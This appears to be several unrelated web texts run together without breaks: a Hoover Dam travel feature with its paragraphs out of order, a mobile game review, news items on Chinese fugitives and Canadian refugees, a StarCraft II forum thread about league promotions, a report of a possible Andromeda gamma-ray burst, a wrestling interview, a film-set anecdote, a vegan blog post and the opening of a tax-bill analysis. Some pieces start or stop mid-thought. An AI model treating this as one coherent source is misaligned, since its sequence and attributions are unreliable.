Despite the still-curing concrete, the iconic dam stands as a testament to American ingenuity, built during the Great Depression by thousands of men who uprooted their families and traveled to the inhospitable desert in search of work. There were jobs aplenty, and after the huge task was finished, President Franklin Roosevelt arrived on Sept. 30, 1935, to see for himself — and to dedicate — the modern-day wonder.
"It's about 45 feet thick on top. At the very bottom it's about 660 feet thick, which is like two American football fields and the end zones stuck end to end," the guide continues. "The concrete at the bottom has only been there about 75 years, so it's not all the way dry yet. If you go inside the dam, there's actually some seepage … through the wet layers of concrete."
"[The dam] was started in 1931 and completed in 1935, about two years ahead of schedule and under budget," he says as he maneuvers a pontoon raft across the water. Sellers' passengers, mostly tourists staying in nearby Las Vegas, are awed by that fact, and even more so by the massive engineering marvel standing before them.
Clayton Sellers'voice echoes off the sheer rock walls that rise from his vantage point along the Colorado River in Black Canyon, just downstream from the base of Hoover Dam.
The bridge is named for a Nevada governor and an NFL player-turned-soldier. (Jay Jones )
"This is an engineering victory of the first order, another great achievement of American resourcefulness, skill and determination," Roosevelt told a crowd of about 20,000. Millions more listened on their radios.
The dam, built to sate electricity-hungry Southern California and to stop devastating floods in the Imperial Valley, continues to welcome tourists. Soon, a new vantage point will join those in existence for decades.
From the sidewalks and road atop the dam, tourists are afforded views not only of the concrete hulk but also of the Colorado River and of Lake Mead, the vast body of water created by the construction.
Wearing hard hats, visitors venture into the bowels of the dam for an up-close view of the giant turbines, while guides provide insights into the technologies that were developed to make possible the enormous public works project.
THE BEST WAY TO HOOVER DAM AND BOULDER CITY, NEV.
From Los Angeles, take Interstate 10 east to Interstate 15 north toward Las Vegas. Take Interstate 215 east to U.S. 93 south to Boulder City and the dam.
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More than 5,000 men toiled day and night; 112 of them gave their lives. Coincidentally, the first and last workers to die were a father and son.
Through artifacts and a variety of fascinating photos, the human tale — and toll — of the dam's building is presented in the Boulder City/Hoover Dam Museum, in a historic hotel near the site of the tents and tarpaper shacks in which workers and their families lived.
"[Boulder City] was a federal reservation," says Shirl Naegle, the museum's manager and a nephew of two men who worked on the dam.
"It was more like an Indian reservation than a company town," he explains. "The federal government controlled everything."
Naegle notes that guard posts were erected in an effort to keep out booze, gambling and prostitution. The government also issued special currency, good only in Boulder City, but it failed to keep many from making the 30-mile journey along a new paved road to Las Vegas to patronize brothels and casinos.
Upon returning from a night on the town — or even after a sobering day at work — workers would often "come home" to the shrieks of women other than their wives.
"They [the shacks] all looked the same," he says. "They'd get off shift and new houses would have been built [that day]. So they'd walk into the wrong house."Just in time for the Discovery Channel's Shark Week is Ubisoft's Hungry Shark Evolution. As a bonus, it is a free Xbox LIVE game to boot. However, if something is free, you know there is a catch, there are either ads or in-app purchases, and this one features the latter. Still, the game looks to be a blast as it has picked up a few awards in the past. Oh, and yes, 512 MB support is there. As like many things that come to Windows Phone, Hungry Shark Evolution came out nearly a year ago on other platforms. The game though also received a refresh in the last week and Windows Phone is now a part of that, pardon the pun, wave. Let us see what the game entails.
Hungry Shark Evolution
"Experience life as a Shark in the ultimate test of survival. Jaw dropping 3D graphics and action packed gameplay. Grow from a pup into a 10 ton Great White Shark! Eat your way around a diverse aquatic world full of wonder and danger. Feast on tasty sea creatures, swimmers, turtles and fishermen to grow into a giant. Battle enemy sharks, submarines, and the weird creatures of the deep. Chain up combo bonuses to gain massive hiscores!" "Complete missions and find treasure to earn coins and gems. Spend these rewards on upgrading your sharks abilities or buy special life-saving items. Progress to unlock the most ferocious beasts in the sea: Mako Shark, Hammerhead, Tiger Shark and the almighty Great White."
As you can see, you are a shark. Perhaps a fantasy of yours, you can live a dream of munching on the sea's prettiest fauna and maybe even an occasional human.
The gameplay is simple, you have a thumb pad on the display that you use to steer the shark around, and you grab things to eat or dodge. In that sense, it reminds me very much of Death Worm, which is one of my favorite games. However, even on a 2.2GHz Quad-core phone like the Lumia 930, the game is slightly choppy. Not prohibitively so, but it is not as smooth as you would hope.This article is over 3 years old
Two countries have no extradition agreement but Beijing is asking Washington to put aside concerns over Chinese justice system
China gives list to US of 'corrupt' officials it would like sent back
China has provided a “priority” list to the United States of Chinese officials suspected of corruption and are believed to have fled there, according to a state-run newspaper.
In 2014 Chinese officials said more than 150 “economic fugitives”, many of them described as corrupt government officials, were in the United States.
Xu Jinhui, head of the anti-graft bureau at the state prosecutor, told the official China Daily that “a priority list of alleged Chinese corrupt officials” believed to be at large in the United States had been provided to US authorities.
Most suspected corrupt officials overseas had either worked for the governent or state-owned enterprises and took bribes or embezzled public funds, Xu said.
The report did not elaborate.
Senior US officials will meet their Chinese counterparts in August to discuss the possibility of repatriating Chinese officials who have fled to America with billions of dollars of allegedly stolen government assets, a US official said last month.
Xu added that Chinese authorities will start legal procedures to confiscate assets overseas, the newspaper said.
“Once in possession of solid evidence, we will initiate confiscation procedures according to the law,” he said, again without elaborating.
The United States may deport to China the ex-wife of a fugitive Chinese official indicted on money laundering and immigration fraud charges, a US prosecutor said last week.
But there is no extradition treaty between the two countries, and western governments have long been reluctant to hand over suspects because of a lack of transparency and due process in China’s judicial system.
Liu Dong, head of the Chinese ministry of public security’s economic crimes division, told the China Daily that US authorities were prejudiced against China’s legal system and “mistakenly believe we would undertake unfair prosecution of suspects”.
The Chinese government has launched a campaign, dubbed Operation Fox Hunt, to hunt down officials and businessmen who have absconded, often taking their ill-gotten gains with them, part of President Xi Jinping’s battle against deep-seated graft.
Last week the Communist party’s anti-corruption watchdog said that 500 suspects were repatriated to China last year, along with more than 3bn yuan (£325m/US$484.32m).
The watchdog said that in some instances its officials would give evidence to host countries so suspects could be prosecuted there, or to help with their repatriation.OTTAWA (Reuters) - Public security concerns after the Paris attacks were part of the reason Canada pushed back its end-year deadline for accepting 25,000 Syrian refugees, Prime Minister Justin Trudeau said on Wednesday.
Clothing donated for an expected influx of Syrian refugees is sorted by volunteers for size and gender at a theatre rehearsal space in Toronto November 24, 2015. REUTERS/Chris Helgren
The federal government on Tuesday announced it was aiming to welcome the refugees by the end of February rather than Jan. 1 and said all necessary security checks would be carried out in the region rather than in Canada.
Critics said the initial plan was too ambitious and would lead to rushed security procedures, especially in the wake of the Nov. 13 attacks in Paris for which Islamic State claimed responsibility.
“One of the things that changed with Paris was the perception that Canadians had... (they) had a few more questions,” Trudeau told reporters in London when asked about the new deadline.
Canada will spend up to C$678 million ($510 million) over six years flying in the refugees from Turkey, Syria and Jordan and then helping resettle them. The first flight is due to leave from the region early next month.
Aid groups preparing to resettle the refugees in Canada welcomed the new timeline, especially given thin resources on the ground after a decade of cuts to refugee flows by the previous Conservative government.
“Most of the organizations and institutions doing the welcoming will be happy to have a few extra weeks to get ready,” said Janet Dench, executive director of the Canadian Council for Refugees, a high-profile umbrella group for the settlement and sponsorship of refugees and immigrants.
While Canada has welcomed big groups of refugees in the past - including 5,000 Kosovars in 1999 and 60,000 Vietnamese between 1979 and 1980 - the Conservative government that preceded Trudeau’s Liberals, who won an election in October, shifted focus to skilled immigrants who met strict economic criteria rather than refugees.
In 2014, 23,286 refugees were admitted to Canada, down from 35,775 in 2005, according to government data.
The move away from refugee resettlement meant many agencies dedicated to the task of helping refugees find housing, jobs, schooling, language classes have cut staff, programs and services for a decade.
“In last 10 years we’ve been seeing a lot of cuts to the sector, a lot of cuts - anywhere between 2 percent of the budget to 100 percent of the budget, which was quite traumatizing, very disheartening,” said Huda Bukhari, executive director of the Arab Community Centre of Toronto.Corrosive Profile Joined August 2010 Canada 3738 Posts Last Edited: 2011-05-29 22:18:28 #1 MOD EDIT: Blue post on the matter:
http://us.battle.net/sc2/en/forum/topic/2580698045#1
Due to an issue with the Grandmaster league we’ve temporarily locked league reassignments. This means that all ranked games are correctly awarding (and subtracting) points, all changes to player’s internal matchmaking rating continue to be made, but the ability to be promoted/demoted to a different league is temporarily on-hold. When this lock is released, the next win will process the correct standing and any league reassignments will be carried out as they would have.
We currently have a hotfix for the Grandmaster issue in testing, and expect it to be implemented very soon. Once the fix is in and verified the lock will be removed and league standings will continue as normal. We’ll make another announcement at that time.
It’s important to note, again, that your games played now continue to count toward your standing and a possible league reassignment.
^ This means don't stop playing games just because the leagues are locked you dumb faces! Your games are not getting lost!
All regions are unlocked (unlock occurred on May 25).
EDIT: Ladder is locked
David Kim (dayvie) has also said to some people that the ladder is indeed locked due to a bug.
Original post:
Hello, i was wondering if anyone is experiencing what i am?
I'm high plat, playing vs high masters, no rank up.
I know what you're thinking, just keep playing and you will rank up eventually.
Well me and my friend are smurfing on other accounts. In 2v2 we lost all 5 of our matches so we could be placed in bronze. We've been doing 3 roach rush w/ speedlings and we have won ALOT of games, like 95% win ratio
We are still in bronze and we are playing high diamond / master teams.
Also, i took some quotes from the battle.net forums.;;
+ Show Spoiler + As noted in the patch notes, some players were being disconnected when they tried to view certain leagues and ladders pages. As a temporary fix, Blizzard set those pages to display, "Not yet ranked", instead of the actual page. However, as a side effect of this temporary fix, players who were affected can no longer be promoted at least from platinum to diamond. As evidence, I am rank 1 in platinum by 200+ points for 2 weeks, have won 15 games in a row against diamond and master players, most of them high diamond. Blizzard has promised to fix the grandmaster viewing issue in the next patch, but I don't know if they are aware of the promotion bug.
+ Show Spoiler + This is definitly a bug, I know a few people stuck in plat and gold, playing all master league. There is no promotion, this is 100% glitch that NEEDS to be fixed.
+ Show Spoiler +
I am also having the same problem with my 4's. we are in bronze. rank 1. we vs. Diamond/master teams. we win all the time. and no promotion.
Also ive been hearing stories of people in diamond or whatever trying to derank to bronze (portrait farmers, want to try new race etc) and losing 50+ games on purpose with no derank.
I didn't see a post of this, i searched and stuff. is this a known bug? or am i just dumb and missing something completely?
Thanks!
Original post:Hello, i was wondering if anyone is experiencing what i am?I'm high plat, playing vs high masters, no rank up.I know what you're thinking, just keep playing and you will rank up eventually.Well me and my friend are smurfing on other accounts. In 2v2 we lost all 5 of our matches so we could be placed in bronze. We've been doing 3 roach rush w/ speedlings and we have won ALOT of games, like 95% win ratioWe are still in bronze and we are playing high diamond / master teams.Also, i took some quotes from the battle.net forums.;;Also ive been hearing stories of people in diamond or whatever trying to derank to bronze (portrait farmers, want to try new race etc) and losing 50+ games on purpose with no derank.I didn't see a post of this, i searched and stuff. is this a known bug? or am i just dumb and missing something completely?Thanks! Maruprime.
vojnik Profile Joined October 2010 Macedonia 923 Posts #2 if u have a winning row u need to loose some games as well for promotion For the swarm!
gm.tOSS Profile Joined September 2005 Germany 898 Posts #3 Your MMA needs to settle before you get reranked HuK HuK HuK | ¯\_(ツ)_/¯ | There is death in the hane.
graNite Profile Blog Joined December 2010 Germany 4401 Posts #4 Because the system is not confident in your rating. "Oink oink, bitches" - Tasteless on Pigbaby winning a map against Flash
mizU Profile Blog Joined April 2010 United States 11896 Posts #5...
I don't think it's a bug.
Promotions and demotions take a long time to happen. if happy ever afters did exist <3 @watamizu_
human_ko Profile Joined July 2010 Russian Federation 676 Posts #6 cant u just play not caring for your rating??
lol its not MMA its MMR, gm.toss.
u get suitable opponents, what else wud u need WOrd, yo.
HaXXspetten Profile Blog Joined October 2009 Sweden 15716 Posts Last Edited: 2011-05-20 08:15:31 #7 Ironically, the system works like this: If you win too much, you can't get promoted.
You won't get promoted until your new MMR has been balanced out so that the game know where to re-place you. If you're on a 15 winstreak vs Master Players etc, just keep playing. You will get ranked against players with higher and higher MMR. Eventually, you'll start losing. After you've lost a few games, the system will now be able to see where your new MMR lies. Knowing that you've improved isn't enough for a promotion. It has to know HOW MUCH you've improved.
For example: I was placed in Plat in my 2v2Random after 5-0. I then went on to get 18-1, and was still in Plat, even though I got matched with players who still are around top 300 in EU (1v1). Then, I lost two games in a row, so I had 18-3. Got into Diamond. Won 2 more, lost 2 more: Masters.
Solution: Just keep playing until you get defeated a few times. If you still don't get promoted, THEN it might be some sort of glitch, but not before that.
Hope that helped.
uSnAmplified Profile Joined October 2010 United States 1026 Posts Last Edited: 2011-05-20 08:18:17 #8 It is definitely locked to the people replying, you should try looking into the situation instead of giving vague one liner advice about the ladder system that everyone is aware of. i have a smurf i got off a friend that i have now played close to 100 games mostly vs diamond players now. I would have been promoted at least up a league by now.
I did the same thing to another account and it promoted up multiple leagues as i went along the course of about 30 games, im easily over a 100+ on this account.
A lot of reports on bnet forums, also you cannot derank either based off the experiences of portrait farmers (lol) ~
JL_GG Profile Joined March 2010 Canada 249 Posts #9 same thing happening to me
top diamond for like a month(1v1)
playing against all middle to high masters win like 70% of the time still diamond ><
Silent12ill Profile Blog Joined November 2009 United States 355 Posts #10 I'd quit if i lost to a gold or plat while in masters...
KhAmun Profile Blog Joined September 2010 United States 1004 Posts #11 Yeah I've been sitting atop diamond for while going 50% vs mid masters and no promotion. Not sure if it a bug or just it's been purposefully difficult, but i've certainly taken notice
joshboy42 Profile Joined August 2010 Australia 116 Posts #12 We're experiencing a similar thing over on SEA server as well. Our GM league isn't even filled up either, there's like 13 empty spots that aren't being re-allocated. I'm assuming it's a bug that will be fixed in the next patch update on tuesday (fingers crossed) eat this cheese without farting and you can sleep with my sister
spacemonkeyy Profile Joined August 2010 Australia 477 Posts #13 Having trouble going from Plat to diamond on SEA currently also and beiting lots of top 5 diamonds... Nothing concrete though
Morphs Profile Joined July 2010 Netherlands 645 Posts Last Edited: 2011-05-20 08:50:24 #14 Same here. #1 platinum on EU, almost 100 points more then #2. Playing almost only (top) diamond and winning 50%-60% of that. Heck, I even was matched vs a Master League player the other day (lost though, but still).
There seems to be a problem with promotion.
leviathan20 Profile Joined April 2010 United Kingdom 193 Posts #15 I've been seeing a similar thing also on EU.
It's probably easier to disprove than it is to prove - is there anyone here who actually has been promoted in the last few days? "We better get that boy a waffle NOW or he gon' DIE!"
TobZero Profile Blog Joined March 2010 Germany 493 Posts #16 On May 20 2011 17:46 Morphs wrote:
Same here. #1 platinum on EU, almost 100 points more then #2. Playing almost only (top) diamond and winning 50%-60% of that. Heck, I even was matched vs a Master League player the other day (lost though, but still).
There seems to be a problem with promotion.
your case is a good example that the system is working:
1. points dont matter in regards to promotion
2. you play top diamond with 50-60% = you are where you belong too
3. you got matched once vs. master so you had a win streak maybe (or the master a losing) and lost -> the systems now knows your not ready for master as you still lose vs. lower end master player
just keep cool and play because its fun not for beein promoted... your case is a good example that the system is working:1. points dont matter in regards to promotion2. you play top diamond with 50-60% = you are where you belong too3. you got matched once vs. master so you had a win streak maybe (or the master a losing) and lost -> the systems now knows your not ready for master as you still lose vs. lower end master playerjust keep cool and play because its fun not for beein promoted... -= we are the swarm =-
Probe1 Profile Blog Joined August 2010 United States 17912 Posts #17 ) He lost like 60 games and was playing against silver/bronze players but he still days later is only in diamond.
Dunno whats up with rank/derank. Yea I met a Master level zerg trying to derank himself on the ladder (3 games in a row, apparently we were the only ones on at 5 am) He lost like 60 games and was playing against silver/bronze players but he still days later is only in diamond.Dunno whats up with rank/derank. 우정호 KT_VIOLET 1988 - 2012 While we are postponing, life speeds by
SOB_Maj_Brian Profile Blog Joined September 2008 United States 522 Posts #18 Hmm, was placed into Diamond from last season and then won my placements and 5 straight games and got placed into Masters, not so sure about the requirement that you have to lose..., perhaps in some cases its true?
Demonace34 Profile Blog Joined January 2011 United States 2432 Posts #19 I don't think everyone is bugged, but something has happened lately where some people and teams are playing way out of their leagues (bronze playing against diamond...etc) and not being demoted or promoted. Wonder if that hotfix actually is the problem. NaNiwa|IdrA|HuK|iNcontroL|Jinro|NonY|Day[9]|PuMa|HerO|MMA|NesTea|NaDa|Boxer|Ryung|
Pwnographics Profile Joined January 2011 New Zealand 1051 Posts #20 I've been trying to farm up my 2v2, currently in silver league playing platinum and diamonds with 75% win rate but no promotion.
1 2 3 4 5 33 34 35 Next AllNASA has spotted a HUGE explosion in our neighbouring galaxy
SCIENCEALERT STAFF 28 MAY 2014
Image: NASA
A few hours ago, NASA's Swift spacecraft detected a huge explosion in M31, better known as the Andromeda Galaxy.
And astronomers suspect it could have been one of the most violent events in the Universe - a gamma ray-burst that, in just a few seconds, could have released as much energy as our Sun in its entire lifetime.
If confirmed, this will be the closest gamma-ray burst we’ve ever detected, and will help scientists find out more about these mysterious pulses of energy.
Gamma-ray pulses are so powerful, that if one occurred within our galaxy, they could potentially trigger mass extinctions on Earth, explains Dr Alan Duffy, an astronomer at Swinburne University of Technology in Melbourne.
But fortunately this explosion was far enough away to not do damage - the actual event would have happened around two and a half million years ago, with the energy just flying past Earth this morning.
While nothing is confirmed as yet, if the reaction of some of the world's leading astrophysicists on the Twitter hashtag #GRBM31 is anything to go by, this could be HUGE:
And the whole world is now watching to see what happens next, says Duffy. “Telescopes around the world are currently trained on the Andromeda galaxy looking in all wavelengths of light to learn more about this once-in-a-lifetime event.”
The majority of gamma-ray bursts appear to be caused by the collapse of huge stars. But this extremely short gamma-ray burst may have been caused by a rare event - the collision of two neutron stars, which are the remnants of supernovae.
This NASA image shows how that would work:
Image: NASA
If confirmed, the event could also have an important impact on our understanding of gravitational waves, says Duffy.
“The explosion seen in light will also potentially be visible in gravitational waves, a key prediction of Einstein, ending a long quest to detect these ripples in space time,” he explains.
“Unfortunately the world-wide facility for detecting these events, LIGO, is currently shut down for an upgrade and missed out on the explosion - and a potential Nobel Prize winning discovery.”
Until more data is analysed, it's unclear exactly what exactly this explosion was, and what caused it. But whatever happens, this is definitely an exciting time to be following astrophysics.
In fact, one of the most fascinating things about the event is how quickly the world has responded to it.
“The most astounding aspect of today is that these potential gamma rays have travelled undisturbed for 2.5 million years until hitting NASA’s Swift satellite, and within minutes telescopes across the globe were tracking it and an hour later people around the world were following it on Twitter,” says Duffy. “It’s been hectic.”
For a more detailed analysis of the data so far, head over to i09 and follow the #GRBM31 hashtag.Jinder Mahal is preparing to defend his WWE championship this Sunday against Shinsuke Nakamura at Hell in a Cell, and the “Modern Day Maharaja” is so confident in his ability to defeat Nakamura that he already has his next opponent in mind:
New England Patriots tight end Rob Gronkowski.
“Rob Gronkowski cost me the Andre the Giant Memorial Battle Royal, and I haven’t forgot that,” said Mahal. “There is definitely unfinished business between myself and Gronkowski, and I can guarantee he’ll be getting his receipt.”
Getty Images
The 31-year-old Mahal, who was born Yuvraj Singh Dhesi in Calgary, Alberta, Canada, recently cut a promo on Nakamura that was criticized as racist. Mahal’s words were largely misunderstood, as the whole story in his program with Nakamura is that he is out to prove that the fans are the ones who belittle the former New Japan superstar behind his back.
“Every day in WWE is also an opportunity,” said Mahal. “I have to rise to the occasion every time I am given that opportunity, and that includes every promo on SmackDown, too.”
Mahal’s rise to prominence is one of WWE’s greatest achievements in 2017. After a release from the company in 2014, Mahal was seen as a bit player, and his 2016 return to the company was met with little to no fanfare.
“A lot of people asked if I was disappointed when I got released,” said Mahal. “Of course I was disappointed. But I also learned that you get back what you put in. Before, I wasn’t giving it 100 percent, therefore I wasn’t getting back 100 percent. I regained my focus, I regained my drive, and I’m fortunate for every day that I’m in WWE. It got taken away from me, so I know every day in WWE is a blessing.”
The path to Mahal’s run with the WWE champion,ship which he won in May over Randy Orton at Backlash to become the first-ever WWE world champ of Indian descent, was accelerated by a revamped, chiseled look and an unremitting work ethic.
“The secret to my success is persistence,” said Mahal. “You never know when the break is going to come, so you have to keep plugging away. I know that my journey motivated the rest of the locker room. Sometimes, guys are in a slump or you feel like you’re not doing anything with the company, and I felt like that for years. But it can all change. Mentally, you can’t expect positive things to start happening in your life with a negative attitude.
“There was originally no plan in place for me to become WWE champion. It felt like I became the number one contender out of nowhere. I call what I did forcing the results. I wasn’t happy with my position. I was putting in the work, but I wasn’t getting the results. I was going to force the result no matter what the cost.”
Mahal is playing a similar role as Bret “The Hitman” Hart, who was a villain in America during his heel run in 1997 but championed as a hero across the globe.
“I grew up watching Bret Hart, and I have a good relationship with Bret,” said Mahal. “He is someone that I look up to and someone I go to for advice.”
An integral aspect of Mahal’s success are the Singh Brothers, Sunil and Samir, who are certain to interfere in the title match on Sunday.
“Me and the Singh Brothers actually go back a long time, even before we were in WWE,” said Mahal. “We’re all from Canada, and we took similar paths to get here from WWE. They sacrifice their bodies, especially during the Punjabi Prison match.”
Samir Singh took a vicious bump from atop the Punjabi Prison during the main event of the Battleground pay per view in July, risking his permanent health for the chance to take the crowd’s breath away.
“I kept watching him go higher and higher when he was fighting off Randy Orton, and when I thought he’d already went too high, he went one ring even higher,” said Mahal. “Then he hit the table real, real hard. Ultimately, they’ll tell you there is no price too high to pay for the Maharaja.”
Justin Barrasso can be reached at JBarrasso@gmail.com. Follow him on Twitter @JustinBarrasso.Photo Credit: Helen Sloan
It’s early evening, and we are just getting set up for a night of action-packed filming. Later, a well-known character will die. The stunt guys are practicing killing each other, while the camera department lays track for the dolly.
A small group is gathered around a body lying on the wet grass. A few feet away Tommy Dunne, the weapons master (and how badly do you want THAT title on your business card) hands a sword to a soldier.
Everybody inches forward a bit. Nobody wants to miss the moment that the blade presses against the jugular and splits the skin. The soldier checks with Tommy, who adjusts his grip slightly and then slides the blade forward. The blood starts to seep out around the wound and as the soldier pulls back, the blood gushes out in a pulsing spray, spurting out and down all over the body. Then the group starts to chat.
Are we happy with the blood?
How was the flow? Does it look right?
All agreed?
Everyone is pleased with the kill. Looks good, blood is the right sort of red and just thick enough. I’m still feeling a bit squeamish when the corpse leaps up and smiles. He shakes a few hands and waves before heading off to the prosthetics truck with the team.
Now that’s dedication. It’s not everyone who will rise from the dead to work nights. |
offseason, let alone tried to project what the future might hold for him. But even I can’t ignore that everything so far has sounded positive, even if he will turn 27 in September.I’m not a naturally talented person. In fact, almost everything I do, I started out terrible at. I’m not the type of person who adapts to things quickly and I definitely learn through making a lot of mistakes. Veganism is one of those things. I was totally sloppy when I first started — not necessarily in keeping vegan (I’ve never had a voluntary lapse, but I have been tricked), but in how I dealt with others and the world around me.
I want to share this because mistakes are part of what makes us human. I think vegans sometimes feel lonely or like they lack support, because even when they find vegan resources online and in magazines, a lot of those “communities” are quite exclusive and can sometimes not feel accessible to all vegans.
So before you read this list, remember: you’re not a bad person or a bad vegan if you’ve done any of these things! The fact that you’re trying makes you awesome, and the fact that you keep trying makes you brilliant.
Pretending to be apologetic (and getting walked over as a result).
When I first went vegan, I worried that my friends (mostly non-vegans, obviously) would freak out and start to categorize me as “that vegan.” Wanting to avoid this, I pretended to be a lot more moderate in my beliefs and threw a lot of more hardcore, radical vegans under the bus in order to distance myself from the actual ethics of the movement. I’ve since become a lot less apologetic, because I’ve realized that posing as a vegan apologist won’t make anyone more sympathetic toward your choices. It just makes it easier for people to walk over you and invalidate your choices, because you’ve shown that even you won’t stand up for yourself.
Not telling my loved ones sooner.
Though I went vegetarian while I was living with my parents, I went vegan when I was living in Toronto. My parents have always been afraid of me losing weight and questioned my foray into vegetarianism from day one for that reason, so I didn’t bother telling them I was a vegan. I even lied and said I might eat meat during holidays and family gatherings (no, I never went through with this). The problem is lying hurts everyone and fails to make your own intentions clear. When I finally admitted to my parents that I’d been vegan all along, it came across looking like I didn’t really believe in veganism. If I’d let them know earlier, they’d have had time to adjust and learn how to help accommodate my different needs when I came over. It’s been a couple years now, and they’re only just starting to learn to read labels differently and not to buy certain materials of clothing in gifts for me. Don’t be ashamed of your choices — even if your family doesn’t react well to it, the sooner you tell them, the more time they have to adjust (trust me, they will adjust).
Thinking “lactose-free” is the same as “dairy-free.”
Was this just me? I don’t know. I’m stupid. But seriously, some brands make it very difficult to tell the difference — like Veggie Slices, a lactose-free cheese that is soy and dairy-based. Casein/modified milk ingredient can still be found in plenty of foods labelled “lactose-free.” Hell, I’ve even seem a brand that created an almond and dairy milk. What’s the need for that? Fortunately, there’s a lot of dairy-free alternatives found in conventional grocery stores, so look for the actual magic words (“dairy-free”) and assume that “lactose-free” still means “came from a cow.”
(But again… maybe it’s just me and I’m just kinda stupid).
Giving into too many health/superfood trends.
When I first became a vegan kale was just starting to become cool, and boy was I convinced I needed it in everything. A lot of the biggest mainstream vegan food resources in blogs and magazines are more diet-focused than ethics focused, and because you generally help out your ad revenue by capitalizing on trends, they tend to focus (with a bit of hyperbole) on the newest, trendiest “superfood.” I’m not saying those foods aren’t good for you, but when you first delve down the vegan rabbit hole, you’ll probably hear a lot about things like acai bowls and spirulina. Not only will this probably cause a bit of strain on your wallet, it will probably be a little intimidating. These trends can make veganism seem really, really complicated — it isn’t. Don’t eschew a food just because it’s popular, but just know that you can be healthy with veggies, starches, grains and legumes.
Not questioning brands re: their vegan policies and lists.
I still make this mistake — I assume that when a brand tells me something is vegan, they mean vegan, as in no animal testing (including third-party testing) or bi-products. When I first became a vegan I didn’t know that there was a difference between companies that test their final products on animals versus companies that source ingredients that were tested on animals prior. And some brands also advertise their products as “vegan” when they actually still contain animal ingredients — Wet ‘n’ Wild does this, as does my (former) favourite cosmetics line, GOSH. Then there are brands like The Body Shop, which have claimed to not test on animals but have sold their products in China, where animal testing is required by law. It’s always best to keep suspicious in these situations, and go to a third party for your research. My favourite for cosmetics is Logical Harmony, which makes the distinctions between brand policies very clear and helpful.
(But also remember that if you accidentally buy something that isn’t vegan, you’re not a shitty person. People make honest mistakes. That’s what makes us people. Stay true in your intentions and learn from your mistakes).
Trying to find a direct substitution for everything.
I probably spent the first year of my vegan journey trying to find the perfect vegan cheese. Unlike a lot of vegans, I don’t like Daiya, and I find cashew cream to be really hit-and-miss. There are a few that hit it out of the park for me (but like I feel like spending $9.00 on a pack of Chao cheese!) but for the most part I’ve realized that there’s absolutely no need to find a vegan cheese and more need to simply enjoy pizza, burgers and pasta with other toppings, and let the veggies do the topping for you. Or maybe you’re not hip on tofu scramble. So what? You don’t need to directly replace eggs — the same goes for carrot lox, honee and banana ice cream. If you don’t like something, you don’t like it! Look at veganism as a new opportunity to find cool new foods that turn your crank instead of trying to simply replace x with y. You’ll probably find that you save money that way, and you’ll surely open your food horizons.
Planning group outings poorly (and ending up really, really hungry).
I live in Toronto, one of the most diverse food cities in the country, and yet, I still used to panic every time my friends said they wanted to go out. One thing I felt a lot of in the early days was guilt, that if I said, “Hold up guys, I need to know where we’re going so I can check the menu” everyone would hate me and accuse me of being a killjoy. Sometimes, calling restaurants ahead of time (during the day, avoiding the rush when they’ll be more available to help you out) and see what type of vegan options they offer (provided you can’t find anything on the menu online). Sometimes the vegan options aren’t always on the menu! When all else fails, and I’m being completely serious here, remember to always keep an energy bar or something non-perishable (and non-squishy) in your purse or backpack, and don’t drink alcohol if you don’t have any food available.
Not eating enough.
Even though I thought I was eating a really balanced diet when I first eliminated meat from my diet, finding food that was as rich in calories as its animal-based counterpart proved to be a challenge. Beans and chickpeas pack a protein punch and many plants such as broccoli are rich in calcium, but you have to eat a lot more in order to meet the same calorie intake. What I ended up doing when I went vegetarian (and I’d pretty much gotten the routine down by the time I went vegan) was changing up my eating schedule. I have a much larger breakfast now and have medium-sized snacks throughout the day (sometimes I don’t have an actual lunch, but instead have a series of what I guess could be described as small meals that keep me full until dinner. That’s when I pig out).
Only skimming labels.
See: my “lactose-free” confusion. While eggs and dairy are often listed as allergen warnings at the end of every ingredient list, I have come across a small handful of examples where this isn’t the case (and that’s just in Canada. I have no idea about the U.S.). You also have to keep an eye peeled for honey. Also, sometimes it’s easy to be swayed by a label that claims something is “veggie,” like meatless faux-meats, but some still contain eggs and dairy products (the brand Veggie Patch is one of them, and Burger King’s “veggie” burgers are definitely not vegan-friendly). Remember, green-washing is a thing, and you can easily be fooled into thinking something is plant-based. You’d be surprised, once you actually read labels, how much stuff actually has milk in it.
Convincing myself that I was alone.
I felt incredibly isolated as a vegan for a very long time. I was convinced that I didn’t belong in the vegan “community” because most people who were interested in veganism only seemed to talk about it from a dietary or health point of view, while those who tackled it from an environmental/ethical standpoint seemed shut out to the sides in small, niche groups. Make no mistake: communities like Reddit and Tumblr are filled with every kind of group, and if you just dig a little you’ll find people who are receptive to your questions, fears, curiosities and problems. It isn’t until recently that I’ve found Reddit’s r/Vegan community (yeah, I’m a bit gun-shy with Reddit) which happens to be one of the most welcoming, open and kind-hearted subreddits on the site. I go there for not only intelligent and perceptive-shifting discussion, but also for a sympathetic ear when people are annoying me out here in the non-vegan world. Trust me: there are people who have gone through almost everything you’re going through with regards to your big change. We’re here for you, and we want to support you — because more vegans means more peace and kindness!Each dot represents one household in the middle class in 2018 People on this side will get a tax increase People on this side will get a tax cut
The tax bill being debated in the Senate this week would affect nearly every American. Numerous analyses have estimated the average impact of the bill on household finances, and advocates on both sides have produced examples of “typical” families that would win or lose under the plan.
Such analyses, however, tend to gloss over the remarkable diversity of Americans’ financial situations. In truth, there is no “typical” American household. Even families that look similar on the surface can differ in ways that radically alter their situation come tax season.
The 25,000 dots on the chart above each represent an American household in the broadly defined middle class. The vertical axis represents income; the horizontal axis represents how big a tax cut (or tax increase) each household would get under the bill in 2018, according to a New York Times analysis using the open-source tax-modeling program TaxBrain. (For details on how we did this analysis, including how we defined the middle class, see the note at the end of this article.)
A couple of things should jump out right away. First, there are more dots on the right side of the chart than the left — more households would get a tax cut than a tax increase. (The chart represents the impact in 2018; the situation looks considerably different in 2027, after many provisions of the bill are set to expire.)
Second, the dots are all over the place. Look at the line of households earning about $100,000 a year. On the far left of the chart, there’s a household that would pay more than $4,000 more in taxes under the Senate plan. On the far right is a household that earns almost the same amount but that would pay $4,000 less under the plan. (All figures are relative to what each household would pay under existing tax law.)
If you want to understand the tax bill, it helps to understand what factors separate those two families, and all the other families in between.
Take these findings with a grain of salt. The tax bill remains a work in progress, and some details aren’t yet clear. Our analysis doesn’t try to account for the impact the bill would have on the economy, for good or ill. (In tax-wonk terms, ours is a “static” analysis rather than a “dynamic” one.) Nor does it account for any spending cuts that Congress might adopt now or in the future to pay for these tax cuts. (The Congressional Budget Office estimates that under congressional budgetary rules, the tax plan would force deep cuts to Medicare spending over the next decade.) But it should give us a sense of how the bill’s many provisions would help — and hurt — millions of families across the country.
Nearly everyone who takes the standard deduction gets a tax cut in 2018
Households that take the standard deduction Households that itemize
